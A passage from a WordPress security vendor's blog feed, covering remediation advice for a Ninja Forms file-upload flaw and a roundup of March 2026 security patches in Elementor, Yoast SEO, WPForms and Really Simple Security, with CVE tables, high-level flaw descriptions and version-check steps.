&lt;p&gt;&lt;strong&gt;5. Check the usual post-compromise indicators.&lt;/strong&gt; Unknown admin users, modified core files, unexpected cron jobs, new scheduled tasks, outbound connections from the web server process. Our post on &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;how to tell if your WordPress site is hacked&lt;/a&gt; covers the full checklist.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Rotate credentials if you find evidence of compromise.&lt;/strong&gt; Treat anything in &lt;code&gt;wp-config.php&lt;/code&gt; (database credentials, salts, API keys) as leaked and rotate it. Reset every admin password. Invalidate active sessions.&lt;/p&gt;
&lt;p&gt;If you find a compromised site and do not want to handle the clean-up yourself, &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;mySites.guru&apos;s hack recovery service&lt;/a&gt; takes over from here: we identify every affected file, remove the backdoors, patch the vulnerability, and harden the site against re-compromise.&lt;/p&gt;
&lt;h2&gt;How can I prevent the next WordPress plugin AJAX vulnerability from hitting my sites?&lt;/h2&gt;
&lt;p&gt;This is not going to be the last WordPress plugin AJAX handler to ship an unauthenticated RCE. The pattern of &quot;check the obvious thing, miss the subtle one&quot; is structural, not accidental, and every time a new one lands the game is the same: find your vulnerable sites before the scanners do.&lt;/p&gt;
&lt;p&gt;A few things tilt the odds in your favour, and mySites.guru does all of them by default:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;Continuous vulnerability scanning&lt;/a&gt;&lt;/strong&gt; across every connected site, cross-referenced against Wordfence and Patchstack feeds twice daily. A new CVE drops, the dashboard tells you who is exposed, you don&apos;t have to read the advisories yourself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time file-change alerting&lt;/a&gt;&lt;/strong&gt; so new PHP files appearing in upload directories or the webroot trigger an immediate notification. This is the single highest-signal alert for file-upload RCEs - the attacker&apos;s first move after exploitation is writing a file that did not exist before.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Bulk plugin updates&lt;/a&gt;&lt;/strong&gt; across your whole portfolio in one action, so the window between disclosure and patch is minutes, not days.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Admin login alerting&lt;/strong&gt; on every connected site, catching the common post-exploit move of creating a new administrator account.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Daily deep file scans&lt;/strong&gt; against 12 years of threat signature data, so webshells dropped via vulnerabilities you did not even know about still get caught before they do damage.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is why auto-updates are a safety net and not a strategy. They will happily carry you onto a partial fix like 3.3.25 and then stop. Monitoring, bulk-update control, file-change alerting, and deep scanning are what catch the things auto-updates miss. If you want a concrete operational routine for running these checks across a portfolio, we wrote up exactly that in &lt;a href=&quot;https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/&quot;&gt;how to build a five-minute morning routine for checking all your sites&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What is the broader lesson for WordPress agencies?&lt;/h2&gt;
&lt;p&gt;A version number that &lt;em&gt;looks&lt;/em&gt; patched is not the same as a version that &lt;em&gt;is&lt;/em&gt; patched. The only authoritative check is to compare the installed version against the fully patched version published by the vendor, not the first version the vendor labelled as a fix.&lt;/p&gt;
&lt;p&gt;AJAX file upload handlers have far more surface area than they look, and &quot;we patched it&quot; and &quot;we are safe&quot; are not the same sentence. A vendor can genuinely try to fix an AJAX handler and still ship an exploit because the surface area is that large. If you manage more than a handful of sites, you need a way to answer &quot;which of my sites are running plugin X below version Y&quot; in under a minute, and a way to see if anything unexpected has been written to disk since the last scan. Without both, you cannot respond to vulnerabilities like this before the scanners finish their sweep.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-10 rounded-xl border border-blue-200 bg-blue-50 p-6 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;text-lg font-semibold text-blue-900 dark:text-blue-200&quot;&amp;gt;Stop guessing which sites are vulnerable&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-blue-800 dark:text-blue-300&quot;&amp;gt;mySites.guru connects to every WordPress and Joomla site you manage, indexes every plugin and extension, and cross-references them against vulnerability databases continuously. One flat price of £19.99 per month. Unlimited sites. Same pricing since 2012.&amp;lt;/p&amp;gt;
&amp;lt;div class=&quot;mt-4 flex flex-wrap items-center gap-3&quot;&amp;gt;
&amp;lt;a href=&quot;/free-audit/&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;Run a free audit&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;https://manage.mysites.guru/en/register&quot; class=&quot;inline-flex items-center gap-2 rounded-md border border-blue-300 bg-white px-4 py-2 text-sm font-medium text-blue-700 no-underline hover:bg-blue-100 dark:border-blue-700 dark:bg-blue-900 dark:text-blue-200 dark:hover:bg-blue-800&quot;&amp;gt;Sign up free&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/&quot;&gt;Wordfence: 50,000 WordPress Sites affected by Arbitrary File Upload Vulnerability in Ninja Forms File Upload&lt;/a&gt; - the primary public disclosure with full technical analysis, vulnerable code, and disclosure timeline&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ninja-forms-uploads/ninja-forms-file-upload-3326-unauthenticated-arbitrary-file-upload&quot;&gt;Wordfence advisory for CVE-2026-0740&lt;/a&gt; - the Wordfence Intelligence entry with CVSS vector and version detail&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints Are A Big CMS Security Blind Spot&lt;/a&gt; - our deep dive on why WordPress and Joomla AJAX handlers keep producing critical CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Four Major WordPress Plugins Patched Security Flaws in March 2026&lt;/a&gt; - the previous month&apos;s plugin CVEs, several of which shared the AJAX-handler root cause&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework Vulnerability&lt;/a&gt; - sibling Joomla AJAX handler CVE (CVE-2026-21628) with the same root cause&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework Joomla Vulnerability&lt;/a&gt; - another Joomla &lt;code&gt;com_ajax&lt;/code&gt; handler shipping unauthenticated file operations (CVE-2026-21627)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 Arbitrary File Read Vulnerability&lt;/a&gt; - WordPress &lt;code&gt;admin-ajax.php&lt;/code&gt; handler skipping authorisation (CVE-2026-3098)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;Is My WordPress Site Hacked?&lt;/a&gt; - checklist of post-compromise indicators if you suspect a site has been hit&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/ninja-forms-uploads/&quot;&gt;Patchstack entry for Ninja Forms File Uploads&lt;/a&gt; - full vulnerability history for the plugin&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>ninja-forms</category><category>ajax</category><category>security</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/ninja-forms-file-uploads-cve-2026-0740.8wt3VxLh.png" length="0" type="image/png"/></item><item><title>4 Major WordPress Plugins Patched Security Flaws in March 2026</title><link>https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/</link><guid isPermaLink="true">https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/</guid><description>Elementor, Yoast SEO, WPForms, and Really Simple Security all shipped security patches in March 2026. Here&apos;s what was fixed, who&apos;s affected, and how to verify your sites.</description><pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Four of WordPress&apos;s most-installed plugins all shipped security patches in March 2026: Elementor (10 million active installs), Yoast SEO (10 million), WPForms (6 million), and Really Simple Security (3 million). Combined, that is over 29 million WordPress installations running code that needed fixing.&lt;/p&gt;
&lt;p&gt;The patches shipped as minor version bumps. No emergency banners, no vendor blog posts sounding the alarm. If you check your plugins regularly, you might have noticed the update dot. If you rely on auto-updates, you might be fine. If you do neither, your sites are still vulnerable.&lt;/p&gt;
&lt;p&gt;Two of these four vulnerabilities require no authentication to exploit. An attacker does not need an account on your site. They just need to know your site exists.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Help With WordPress Plugin Vulnerabilities?&lt;/h2&gt;
&lt;p&gt;If you manage WordPress sites for clients, you already know these patches exist. The information is public. The hard part is &lt;strong&gt;checking every site actually got them&lt;/strong&gt;. Four plugins across 50 client sites is 200 individual version checks. Manually, that is an afternoon. With a dashboard, it takes seconds.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;mySites.guru&apos;s vulnerability alerting&lt;/a&gt; cross-references every installed plugin on your connected sites against the Wordfence Vulnerability API twice daily. When a CVE drops for a plugin you have installed, you get flagged automatically, without RSS feeds to monitor or security blogs to bookmark.&lt;/p&gt;
&lt;p&gt;For patches like these, you can see at a glance which sites are still running vulnerable versions, then &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push updates in bulk&lt;/a&gt; across your entire portfolio. Or run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on any site to see its current plugin versions and known vulnerabilities in under a minute.&lt;/p&gt;
&lt;p&gt;The WordPress Extensions page lists every plugin installed across all your connected sites. Filter by name, sort by version, and click &quot;Which sites?&quot; to find exactly where a specific plugin is running.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Click through to any plugin and you see every version variant across your portfolio. In this example, Elementor 3.35.5 (vulnerable) and 3.35.8 (patched) are both present, with a &quot;1 Vulnerable Plugins!&quot; warning on the sites still running the old version.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;When a site has a known vulnerable plugin, the manage site page shows a red warning banner at the top with the CVE details and a link to learn more.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;WordPress vulnerability scanner&lt;/a&gt; page explains the full detection pipeline.&lt;/p&gt;
&lt;h2&gt;What Got Patched?&lt;/h2&gt;
&lt;h3&gt;Elementor - Sensitive Data Exposure (CVE-2026-1206)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/elementor&quot;&gt;CVE-2026-1206&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4.3 Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Incorrect Authorization / Information Disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions up to 3.35.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3.35.8&lt;/strong&gt; (March 23, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes - Contributor or above&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Angus Girvan (via Wordfence)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The &lt;code&gt;is_allowed_to_read_template()&lt;/code&gt; function in Elementor had a logic error. It treated non-published templates as readable without checking whether the requesting user actually had edit capabilities. A contributor could call the &lt;code&gt;get_template_data&lt;/code&gt; action via the &lt;code&gt;elementor_ajax&lt;/code&gt; endpoint with any &lt;code&gt;template_id&lt;/code&gt; and pull back private or draft template content.&lt;/p&gt;
&lt;p&gt;This is a confidentiality issue, not a code execution flaw. No one is taking over your site through this alone. But draft templates often contain unreleased page layouts, pricing structures, or client content that should not be accessible to low-privilege users.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;mySites.guru subscribers: check your Elementor versions now&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2&quot;&amp;gt;&amp;lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/a4711e26b508c580ec1e12ba9aa6e5fd&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;Open Elementor Extension Search&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Lists every Elementor version across your connected sites, grouped by version number. Spot 3.35.7 or earlier at a glance. Not a subscriber? &amp;lt;a href=&quot;https://manage.mysites.guru/en/register&quot; class=&quot;text-blue-700 underline dark:text-blue-300&quot;&amp;gt;Sign up free&amp;lt;/a&amp;gt; to get this visibility.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;Yoast SEO - Stored Cross-Site Scripting (CVE-2026-3427)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wordpress-seo&quot;&gt;CVE-2026-3427&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;6.4 Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Stored XSS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions up to 27.1.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;27.2&lt;/strong&gt; (March 17, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes - Contributor or above&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Osvaldo Noe Gonzalez Del Rio (via Wordfence)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Yoast SEO failed to sanitize the &lt;code&gt;jsonText&lt;/code&gt; block attribute in the HowTo block. A contributor could inject arbitrary JavaScript into page content. The script executes in the browser of anyone who views the page, including administrators.&lt;/p&gt;
&lt;p&gt;What can an attacker do with it? Steal admin session cookies, redirect users, deface content, or inject SEO spam. XSS in a plugin installed on 10 million sites is a wide attack surface, even with the contributor-level authentication requirement. Sites with open registration, guest author accounts, or compromised low-privilege credentials are the obvious targets.&lt;/p&gt;
&lt;p&gt;Yoast&apos;s 27.2 changelog mentions &quot;adds sanitization to duration text for the HowTo block&quot; without naming the CVE directly. This is normal - most vendors downplay security fixes in their changelogs.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;mySites.guru subscribers: check your Yoast SEO versions now&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2&quot;&amp;gt;&amp;lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f1263de85d3f10996c0a7f8f55cf7e58&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;Open Yoast SEO Extension Search&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Shows which of your sites run Yoast SEO 27.1.1 or earlier. Not a subscriber? &amp;lt;a href=&quot;https://manage.mysites.guru/en/register&quot; class=&quot;text-blue-700 underline dark:text-blue-300&quot;&amp;gt;Sign up free&amp;lt;/a&amp;gt; and connect your sites.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;WPForms - Sensitive Data Exposure (CVE-2026-25339)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CVE-2026-25339&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium (score not yet assigned by NVD)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sensitive Data Exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions up to 1.9.9.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.9.9.2&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No - unauthenticated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not publicly attributed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This one requires no login at all. An unauthenticated attacker can trigger sensitive data exposure from WPForms. The exact technical mechanism has not been fully documented publicly, but the vulnerability is confirmed across multiple security databases including the Sucuri March 2026 roundup and Patchstack.&lt;/p&gt;
&lt;p&gt;WPForms is the most popular form plugin for WordPress. It collects contact form submissions, payment details, registration data, and application forms. A data exposure flaw in a form plugin deserves urgent attention because the data it handles is sensitive by definition.&lt;/p&gt;
&lt;p&gt;The current version on wordpress.org is 1.10.0.2, so 1.9.9.2 is now several releases behind. If you are still on 1.9.9.x, update immediately.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;mySites.guru subscribers: check your WPForms versions now&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 flex gap-2&quot;&amp;gt;&amp;lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/cc7d0bb668e89ba461c945588ef2008e&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;WPForms Lite&amp;lt;/a&amp;gt; &amp;lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/334cd5ef5a7c73a6255c3d6c33204ee1&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;WPForms Pro&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Both Lite and Pro editions are affected - check which version each of your sites is running. Not a subscriber? &amp;lt;a href=&quot;https://manage.mysites.guru/en/register&quot; class=&quot;text-blue-700 underline dark:text-blue-300&quot;&amp;gt;Sign up free&amp;lt;/a&amp;gt; and connect your sites.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;Really Simple Security - Broken Access Control (CVE-2026-32461)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-32461&quot;&gt;CVE-2026-32461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;5.3 Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing Authorization (CWE-862)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions through 9.5.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9.5.8&lt;/strong&gt; (February 26, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No - unauthenticated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Or Benit (via Patchstack Bug Bounty)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Really Simple Security (formerly Really Simple SSL) had missing authorization checks on certain plugin functions. An unauthenticated attacker can call these functions to modify plugin settings without logging in.&lt;/p&gt;
&lt;p&gt;The CVSS vector confirms integrity impact only - no data theft, no denial of service. The likely practical attack is manipulating SSL/security settings: disabling HTTPS enforcement, altering security rules, or weakening the site&apos;s security posture to enable follow-up attacks like session hijacking over unencrypted connections.&lt;/p&gt;
&lt;p&gt;Note the patch date: February 26, over five weeks ago. The CVE was published March 13. If your sites have not updated to at least 9.5.8 in over a month, your update process needs attention.&lt;/p&gt;
&lt;h2&gt;Why Did These All Land in the Same Month?&lt;/h2&gt;
&lt;p&gt;March 2026 was unusually busy for WordPress plugin security. Beyond these four, we also covered &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3&apos;s arbitrary file read&lt;/a&gt; (CVE-2026-3098) and the broader pattern of &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoint authorization failures&lt;/a&gt; across both WordPress and Joomla ecosystems. The pattern continued into April with &lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads (CVE-2026-0740)&lt;/a&gt;, a CVSS 9.8 unauthenticated RCE in another WordPress plugin AJAX handler affecting around 50,000 sites.&lt;/p&gt;
&lt;p&gt;This is not a coordinated attack. It is the natural result of increased security research activity. The Wordfence Bug Bounty and Patchstack Bug Bounty programs have been scaling up, paying researchers to audit popular plugins. More researchers auditing more plugins means more vulnerabilities found and disclosed. The patches come in waves because the responsible disclosure timelines converge.&lt;/p&gt;
&lt;p&gt;The takeaway is better process, not panic. If checking four plugins across your portfolio takes manual effort, you will fall behind when the next wave hits.&lt;/p&gt;
&lt;h2&gt;How to Check If Your Sites Are Patched&lt;/h2&gt;
&lt;h3&gt;Manual Check (Single Site)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Log into wp-admin&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Plugins &amp;gt; Installed Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find each plugin and compare the version number:&lt;/li&gt;
&lt;/ol&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Plugin&lt;/th&gt;
&lt;th&gt;Minimum safe version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Elementor&lt;/td&gt;
&lt;td&gt;3.35.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yoast SEO&lt;/td&gt;
&lt;td&gt;27.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WPForms&lt;/td&gt;
&lt;td&gt;1.9.9.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Really Simple Security&lt;/td&gt;
&lt;td&gt;9.5.8&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ol&gt;
&lt;li&gt;If any version is lower, click &lt;strong&gt;Update Now&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Bulk Check With mySites.guru (Unlimited Sites)&lt;/h3&gt;
&lt;p&gt;mySites.guru&apos;s WordPress Extensions page lists every plugin across all your connected sites with version numbers. Checking all four plugins takes under a minute:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;Your WordPress Extensions&lt;/strong&gt; in mySites.guru&lt;/li&gt;
&lt;li&gt;Type &quot;Elementor&quot; in the filter bar&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Which sites?&lt;/strong&gt; to see every site running it, grouped by version&lt;/li&gt;
